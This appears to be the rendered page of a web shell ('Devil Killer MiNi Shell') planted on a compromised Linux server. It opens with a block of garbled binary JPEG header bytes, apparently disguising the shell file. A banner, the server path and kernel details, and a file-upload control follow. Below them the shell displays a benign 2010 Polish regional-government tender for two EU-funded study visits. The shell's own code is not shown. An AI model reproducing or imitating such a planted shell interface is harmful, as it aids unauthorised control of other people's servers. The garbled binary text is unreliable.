JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20100629/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20100629/186316-N-2010.html

<p class="kh_header"><b>Kielce: Zorganizowanie dwóch wizyt studyjnych dla pracowników zaangażowanych we wdrażanie RPOWŚ na lata 2007-2013</b><br>
<b>Numer ogłoszenia: 186316 - 2010; data zamieszczenia: 29.06.2010</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Województwo Świętokrzyskie - Urząd Marszałkowski Województwa Świętokrzyskiego , al. IX Wieków Kielc 3, 25-516 Kielce, woj. świętokrzyskie, tel. 041 3443347, 3421549, 3421602, faks 041 3445265.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.sejmik.kielce.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja samorządowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Zorganizowanie dwóch wizyt studyjnych dla pracowników zaangażowanych we wdrażanie RPOWŚ na lata 2007-2013.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> I.Przedmiotem zamówienia jest usługa zorganizowania dwóch wizyt studyjnych w ramach Regionalnego Programu Operacyjnego Województwa Świętokrzyskiego na lata 2007-2013, dla dwóch 16 osobowych grup. II.Termin realizacji
wizyt studyjnych : - rozpoczęcie nie wcześniej niż 05-09-2010 roku zakończenie nie później niż 30-09-2010 roku, z zastrzeżeniem, że wizyta A i wizyta B nie może odbyć się w tym samym terminie. Każda z wizyt jest wizytą 5 - dniową rozpoczynającą się w niedzielę i kończącą odpowiednio w godzinach nocnych z czwartku na piątek. A ) WIZYTA STUDYJNA AUSTRIA WŁOCHY (5-dniowa) 1 Dzień - Spotkanie z pilotem i wyjazd z Kielc około godziny 3:00 nad ranem w kierunku Austrii. W godzinach popołudniowych przyjazd do Austrii.
Po przyjeździe na miejsce czas wolny na odpoczynek po podróży. Kolacja i nocleg w Austrii w okolicach
Graz. 2 Dzień - Po śniadaniu pierwsze spotkanie w ramach wizyty studyjnej w miejscu, gdzie Zamawiający pozna jak w tej części Austrii wykorzystane zostały środki z UE w ramach realizacji europejskiej polityki regionalnej( spotkanie w tamtejszej Instytucji Wdrażającej Fundusze Unijne). Po wizycie obiad, po obiedzie wyjazd w stronę Włoch. W godzinach wieczornych przyjazd do Włoch. Kolacja i nocleg w Trieście. 3 Dzień- Po śniadaniu druga wizytacja (spotkanie w tamtejszej Instytucji Wdrażającej Fundusze Unijne) w ramach
wizyty studyjnej, tym razem we Włoszech. Po jej zakończeniu obiad. Po obiedzie zwiedzanie projektów w Trieście. Kolacja i nocleg w Trieście. 4 Dzień - Po śniadaniu trzecia wizyta (cd. spotkanie w tamtejszej Instytucji Wdrażającej Fundusze Unijne oraz zwiedzanie projektów unijnych). Po wizytacji obiad. Po obiedzie wyjazd w kierunku Austrii w podróż powrotną do Kielc. Kolacja i nocleg w Austrii w okolicach Graz.
5 Dzień - Po śniadaniu ostatnia wizytacja miejsca, gdzie można się przekonać, jak środki unijne zostały wykorzystane przez lokalne władze (spotkanie w tamtejszej Instytucji Wdrażającej Fundusze Unijne. Po zakończeniu wizytacji obiad, po obiedzie wyjazd do Kielc. Przyjazd do Kielc w godzinach nocnych i
zakończenie wizyty studyjnej. B) WIZYTA STUDYJNA NIEMCY- FRANCJA (5-dniowa) 1 Dzień -Spotkanie
z pilotem i wyjazd z Kielc około godziny 3:00 nad ranem w kierunku Francji. W godzinach popołudniowych przyjazd do Niemiec (Bawaria). Po przyjeździe na miejsce czas wolny na odpoczynek po podróży. Kolacja i
nocleg w Niemczech. 2 Dzień -Po śniadaniu pierwsze spotkanie w ramach wizyty studyjnej do miejsca, gdzie można poznać jak w tej części Niemiec wykorzystane zostały środki z UE w ramach realizacji europejskiej polityki regionalnej (spotkanie w tamtejszej Instytucji Wdrażającej Fundusze Unijne). Po wizycie obiad, po obiedzie wyjazd w stronę Francji. W godzinach wieczornych przyjazd do Alzacji - regionu
Francji. Kolacja i nocleg w Alzacji. 3 Dzień -Po śniadaniu druga wizytacja w ramach wizyty studyjnej(spotkanie w tamtejszej Instytucji Wdrażającej Fundusze Unijne), tym razem w regionie Francji - Alzacji. Po jej zakończeniu obiad i rozpoczęcie zwiedzania projektów w Alzacji. Kolacja i nocleg w Alzacji. 4 Dzień -Po
śniadaniu trzecia wizyta (cd. spotkanie w tamtejszej Instytucji Wdrażającej Fundusze Unijne oraz zwiedzanie projektów unijnych). Po wizytacji obiad, po obiedzie wyjazd w kierunku Niemiec w podróż powrotną do Kielc. Kolacja i nocleg w Niemczech. 5 Dzień - Po śniadaniu ostatnia wizytacja miejsca, gdzie
można się przekonać, jak środki unijne zostały wykorzystane przez lokalne niemieckie władze (spotkanie w tamtejszej Instytucji Wdrażającej Fundusze Unijne). Po zakończeniu wizytacji obiad, po obiedzie wyjazd do Kielc. Przyjazd do Kielc w godzinach nocnych i zakończenie wizyty studyjnej. III. Każda z wizyt jest wizytą
5 - dniową rozpoczynającą się w niedzielę i kończącą odpowiednio w godzinach nocnych z czwartku na piątek. Program wyjazdu powinien stanowić spójną całość i zawierać między innymi takie elementy jak: 1. 4
spotkania w trakcie jednej wizyty z przedstawicielami lokalnych władz, instytucjami odpowiedzialnymi za wdrażanie programów unijnych, 2. minimum zwiedzanie 3 projektów w trakcie jednej wizyty zrealizowanych dzięki wsparciu z funduszy unijnych : -w trakcie których przeprowadzone będą prezentacje, wykłady lub
seminaria dotyczące wdrażania funduszy unijnych i problemów napotkanych w tym procesie na terenie objętym wizytą studyjną. Zaprezentowane zostaną również dobre praktyki oraz wymiana doświadczeń. IV. Wykonawca musi zapewnić : 1. przygotowanie szczegółowego programu wyjazdu, 2. realizację
merytorycznego programu wyjazdu 3. zapewnienie przejazdu uczestników wizyt z Polski do kraju, w którym odbędą się wizyty studyjne, 4. 4 x nocleg w hotelu 3-gwiazdkowym ze śniadaniami ( pokoje z łazienkami,TV, telefon ) dla wszystkich uczestników wizyty studyjnej 5. 4 x obiadokolacje z napojami (soki/woda i kawa/herbata) dla wszystkich uczestników wizyty studyjnej 6. transport autokarem z klimatyzacją podczas całej wizyty, rok produkcji autokaru min 2005 rok. 7. opieka pilota cały okres wyjazdu 8. obsługa tłumacza podczas spotkań z przedstawicielami tamtejszych władz oraz przez cały okres wyjazdu. Tłumacz musi
posiadać dwuletnie doświadczenie w tłumaczeniu ustnym oraz: - dla wyjazdu nr: I A (Włochy ) tłumacz musi biegle władać językiem włoskim (posiadać dyplom filologii włoskiej lub posiadać certyfikat uprawniający do tłumaczenia ustnego) oraz biegle władać językiem niemieckim lub angielskim (posiadać dyplom filologii niemieckiej lub angielskiej albo posiadać certyfikat uprawniający do tłumaczenia ustnego w
języku niemieckim lub angielskim) - dla wyjazdu nr: II B ( Francja ) tłumacz musi biegle władać językiem francuskim (posiadać dyplom filologii francuskiej lub posiadać certyfikat uprawniający do tłumaczenia ustnego) oraz biegle władać językiem niemieckim lub angielskim (posiadać dyplom filologii niemieckiej lub
angielskiej albo posiadać certyfikat uprawniający do tłumaczenia ustnego w j. niemieckim lub angielskim).
9. ubezpieczeni NNW, KL, bagażu 10. przygotowanie spotkań branżowych zgodnie z harmonogramem który zostanie załączony do złożonej oferty, a ostatecznie zakres i harmonogram programu zostanie ustalony w uzgodnieniu z Zamawiającym. 11. wynajem sal konferencyjnych i odpowiedniego sprzętu
audiowizualnego 12. odbiór osób z parkingu przy Urzędzie Marszałkowskim w dniu wyjazdu i przywóz osób na ten sam parking w dniu powrotu. V. Wymagania od Wykonawcy: 1. W harmonogramie (programie),który ma przedstawić Wykonawca wraz z ofertą musi się znaleźć: a) data rozpoczęcia i zakończenia wizyty
studyjnej (data rozpoczęcia każdej z wizyt nie może być wcześniejsza niż 05-09-2010r. i data zakończenia nie może być późniejsza niż 30-09-2010r.)-osobno dla wizyty A i B b) miejsce i godz. wizyty (docelowe
kraje: Francja i Włochy), z podaniem nazw miejscowości i nazw Instytucji Wdrażających Projekty Unijne osobno dla wizyty A i B c) region zbliżony pod względem ukształtowania terenu i gospodarki do Regionu Świętokrzyskiego d) wizyta nastawiona na zwiedzanie i porównanie obiektów objętych projektami unijnymi z sektora turystyki, sportu, kultury, ochrony zabytków, rewitalizacji, zdrowia i uzdrowisk oraz aktywizacji regionu dzięki nowatorskim i unikatowym rozwiązaniom turystycznym e) zwiedzanie minimum 3 różnych
projektów, które dostały dofinansowanie z Unii Europejskiej oraz uczestnictwo w minimum 2 spotkaniach konferencyjno-szkoleniowych w siedzibie tamtejszych władz (należy podać nazwy projektów i miejsca spotkań konferencyjno-szkoleniowych)-osobno dla wizyty A i B 2. Po zakończeniu zrealizowanego zadania
zobowiązuje się Wykonawcę do sporządzenia pełnej dokumentacji w formie sprawozdania( osobno dla wizyty A i B) dostarczonego do siedziby Zamawiającego w postaci wydruku oraz na płycie CD.
Sprawozdanie musi zawierać: - opis przebiegu wizyty studyjnej, - dokumentacje fotograficzną - kalkulacje kosztów z rozbiciem na poszczególne części składowe. Zaakceptowane sprawozdanie będzie podstawą do wystawienia faktury VAT. 3. Program turystyczny nie jest przedmiotem niniejszego zamówienia. 4.
Ostateczny harmonogram wizyty studyjnej A i B zaakceptowany przez Zamawiającego stanowić będzie załącznik do umowy. Wykonawca w terminie 3 dni roboczych przed datą zawarcia umowy przedstawi Zamawiającemu celem akceptacji ostateczny harmonogram. 5. W szczególnie uzasadnionych przypadkach
dopuszcza się wprowadzenie zmian w harmonogramie w zakresie: a) zmiany Instytucji, w której mająodbyć się wizytacje na inną z jednoczesnym zachowaniem ilości zaoferowanych spotkań w Instytucji Wdrażającej (4 spotkania) jeżeli z winy Instytucji Wdrażającej niemożliwe będzie przeprowadzenie
wizytacji; b) zmiany miejsca spotkań konferencyjno-szkoleniowych na inne z jednoczesnym zachowaniem ilości zaoferowanych spotkań (min. 2 spotkania) jeżeli z winy Instytucji Wdrażającej niemożliwe będzie przeprowadzenie spotkania ; c) zmiany projektu do zwiedzania na inny pod warunkiem zaoferowania
zwiedzanie min.3 różnych projektów unijnych, jeżeli z przyczyn technicznych niemożliwe będzie zwiedzenie projektu wskazanego w ofercie, z zachowaniem wymagań określonych w rozdziale V pkt. 1 lit.d d) zmian daty rozpoczęcia i zakończenia wizyty studyjnej wskazanej w ofercie na inną, pod warunkiem zachowania 5-dniowego terminu trwania wizyty studyjnej, rozpoczynającej się w niedzielę i kończącej się z czwartku na piątek w godzinach nocnych oraz z zachowaniem terminu rozpoczęcia wizyty: nie wcześniej niż 05-09-
2010 roku i nie później niż 30-09-2010 roku, pod warunkiem, że zmiana terminu nie spowoduje zorganizowania wizyt studyjnych A i B w jednym czasie. 6. Zmiany, o których mowa w rozdziale V pkt. 5 nie mogą prowadzić do zmiany regionu wskazanego w ofercie przez Wykonawcę. Nie mogą również prowadzić do zwiększenia wynagrodzenia za wykonanie przedmiotu zamówienia wskazanego w ofercie przez Wykonawcę. 7. Wszelkie koszty przy realizacji przedmiotu zamówienia wynikające ze zmian, o których mowa w rozdziale V pkt. 5 ponosi Wykonawca. 8. Wykonawca w terminie nie później niż 2 dni robocze przed datą rozpoczęcia wizyty studyjnej zobowiązany jest poinformować Zamawiającego o wprowadzonych zmianach do harmonogramu..</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p>

<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 63.00.00.00-9, 63.51.60.00-9, 63.51.10.00-4, 80.50.00.00-9.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 30.09.2010.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> Nie wymagane</p>
<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Posiadają uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek posiadania takich uprawnień tj.: a) posiadają aktualny odpis z Rejestru Organizatorów Turystyki i Pośredników Turystycznych zaświadczający, że prowadzą działalność gospodarczą w zakresie organizowania imprez turystycznych-zgodnie z art. 4 ust. 1 ustawy z dnia 29 sierpnia 1997r. o usługach turystycznych (DZ. U. z 2004r. Nr 223, poz. 2268 z późn.zm.) Zamawiajacy oceni spełnianie tego warunku metodą spełnia nie spełnia na podstawie oświadczenia z art.22 ust. 1 ustawy Pzp oraz dokumentu, o którym mowa w III.4.1 niniejszego ogłoszenia tj. Aktualnego odpisu z rejestru Organizatorów Turystyki i Pośredników Turystycznychzaświadczającego, że Wykonawca prowadzi działalność gospodarczą w zakresie organizowania
imprez turystycznych-zgodnie z art. 4 ust. 1 ustawy z dnia 29 sierpnia 1997r. o usługach turystycznych (DZ. U. z 2004r. Nr 223, poz. 2268 z późn.zm.) - oryginał lub kopia poświadczona za zgodnosć z oryginałem przez Wykonawcę.</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Posiadają odpowiednią wiedzę i doświadczenie niezbędne do wykonania zamówienia tj.: a) w okresie ostatnich 3 lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wykonali min. 2 usługi polegające na zorganizowaniu wizyt studyjnych w krajach Unii Europejskiej związanych z realizacją projektów unijnych, których wartość wynosi co najmniej 20 000,00 złotych brutto każda. Zamawiający oceni spełnianie tego warunku metodą spełnia nie spełnia na podstawie oświadczenia z art.22 ust. 1 ustawy Pzp oraz
wykazu usług, o którym mowa w III.4.1 niniejszego ogłoszenia.</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający oceni spełnianie tego warunku metodą spełnia nie spełnia na podstawie oświadczenia z art. 22 ust. 1 ustawy Pzp.</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>1.dysponują co najmniej jedną osobą do zorganizowania wizyty studyjnej posiadającą doświadczenie w koordynacji co najmniej 2 trzydniowych zagranicznych wizyt studyjnych,
2.dysponują osobą/osobami pełniącą rolę tłumacza, posiadającego 2-letnie doświadczenia w pracy tłumacza ustnego - dla wyjazdu nr: I A (Włochy ) tłumacz musi biegle władać językiem włoskim (posiadać dyplom filologii włoskiej lub posiadać certyfikat uprawniający do tłumaczenia ustnego) oraz biegle władać językiem niemieckim lub angielskim (posiadać dyplom filologii niemieckiej lub angielskiej albo posiadać certyfikat uprawniający do tłumaczenia ustnego w języku niemieckim lub angielskim) - dla wyjazdu nr: II B ( Francja ) tłumacz musi biegle władać językiem francuskim (posiadać dyplom filologii francuskiej lub posiadać certyfikat uprawniający do tłumaczenia ustnego) oraz biegle władać językiem niemieckim lub angielskim (posiadać dyplom filologii niemieckiej lub angielskiej albo posiadać certyfikat uprawniający do tłumaczenia ustnego w j. niemieckim lub angielskim).Zamawiający oceni spełnianie tego warunku metodą spełnia nie spełnia na podstawie oświadczenia z art.22 ust. 1 ustawy Pzp oraz wykazu osób, o
którym mowa w III.4.1 niniejszego ogłoszenia.</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający oceni spełnianie tego warunku metodą spełnia nie spełnia na podstawie oświadczenia z art. 22 ust. 1 ustawy Pzp.</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<ul class="kh_indent_1"><li>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">koncesję, zezwolenie lub licencję</li>

<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, dostaw lub usług  w zakresie niezbędnym do wykazania spełniania warunku wiedzy i doświadczenia w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, z podaniem ich wartości, przedmiotu, dat wykonania i odbiorców, oraz załączeniem dokumentu potwierdzającego, że te dostawy lub usługi zostały wykonane lub są wykonywane należycie</li>

<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych dla wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami</li>

</ul></li>

<li><p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru, jeżeli odrębne przepisy wymagają wpisu do rejestru, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert, a w stosunku do osób fizycznych oświadczenie w zakresie art. 24 ust. 1 pkt 2 ustawy</li>

<li style="margin-bottom: 12px;">wykonawca powołujący się przy wykazywaniu spełniania warunków udziału w postępowaniu na potencjał innych podmiotów, które będą brały udział w realizacji części zamówienia, przedkłada także dokumenty dotyczące tego podmiotu w zakresie wymaganym dla wykonawcy, określonym w pkt III.4.2.</li>

</ul></li>
<li>
<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

</ul></li>
</ul>
<p class="bold">III.6) INNE DOKUMENTY</p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>1.Oświadczenie Wykonawcy zawarte w formularzu ofertowym w pkt. 9 w zakresie posiadania aktualnej umowy gwarancji bankowej lub ubezpieczeniowej lub umowy ubezpieczeniowej na rzecz klientów-zgodnie z art. 5 ust. 1 pkt. 2) ustawy z dnia 29 sierpnia 1997r. o usługach turystycznych (Dz. U. z 2004r. Nr 223,
poz. 2268 z późn.zm.). 2.Pełnomocnictwo w przypadku wykonawców wystepujacych wspólnie do reprezentowania w postepowaniu o udzielenie zamówienia lub reprezentowania w postępowaniu i zawarcia umowy, zgodnie z art. 23 ustawy Pzp . 3.Harmonogram (program) wizyt studyjnych, sporządzony zgodnie z wymaganiami określonymi w załączniku Nr 1 do SIWZ- w formie oryginału podpisanego przez wykonawcę lub osoby uprawnione.</p>
<p><b>III.7) Czy ogranicza się możliwość ubiegania się o zamówienie publiczne tylko dla wykonawców, u których ponad 50 % pracowników stanowią osoby niepełnosprawne: </b>nie</p>


<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.2.2) Czy przeprowadzona będzie aukcja elektroniczna:</b> nie.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>Czy przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b>tak</p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>1.Zamawiający dopuszcza możliwość zmiany wynagrodzenia wykonawcy umowy po przeprowadzeniu negocjacji i zawarciu stosownego aneksu jedynie w przypadku ustawowej zmiany stawki podatku od towarów i usług VAT dla przedmiotu zamówienia. 2.W szczególnie uzasadnionych przypadkach Wykonawca może dokonać wymiany osób delegowanych do wykonania przedmiotu umowy. W takiej
sytuacji Wykonawca wskaże osobę/y o co najmniej takich samych kwalifikacjach. 3.Zamawiający dopuszcza możliwość zmiany harmonogramu wizyt studyjnych w okolicznościach wskazanych w rozdziale V pkt. 5 Załącznika Nr 1 do SIWZ ( Szczegółowy opis przedmiotu zamówienia)tj: a) zmiany Instytucji, w której mają odbyć się wizytacje na inną z jednoczesnym zachowaniem ilości zaoferowanych spotkań w Instytucji Wdrażającej (4 spotkania) jeżeli z winy Instytucji Wdrażającej niemożliwe będzie przeprowadzenie wizytacji; b) zmiany miejsca spotkań konferencyjno-szkoleniowych na inne z jednoczesnym zachowaniem ilości zaoferowanych spotkań (min. 2 spotkania) jeżeli z winy Instytucji
Wdrażającej niemożliwe będzie przeprowadzenie spotkania ; c) zmiany projektu do zwiedzania na inny pod warunkiem zaoferowania zwiedzanie min.3 różnych projektów unijnych, jeżeli z przyczyn technicznych niemożliwe będzie zwiedzenie projektu wskazanego w ofercie, z zachowaniem wymagań określonych w
rozdziale V pkt. 1 lit.d Załącznika nr 1 do SIWZ d) zmian daty rozpoczęcia i zakończenia wizyty studyjnej wskazanej w ofercie na inną, pod warunkiem zachowania 5-dniowego terminu trwania wizyty studyjnej,rozpoczynającej się w niedzielę i kończącej się z czwartku na piątek w godzinach nocnych oraz z
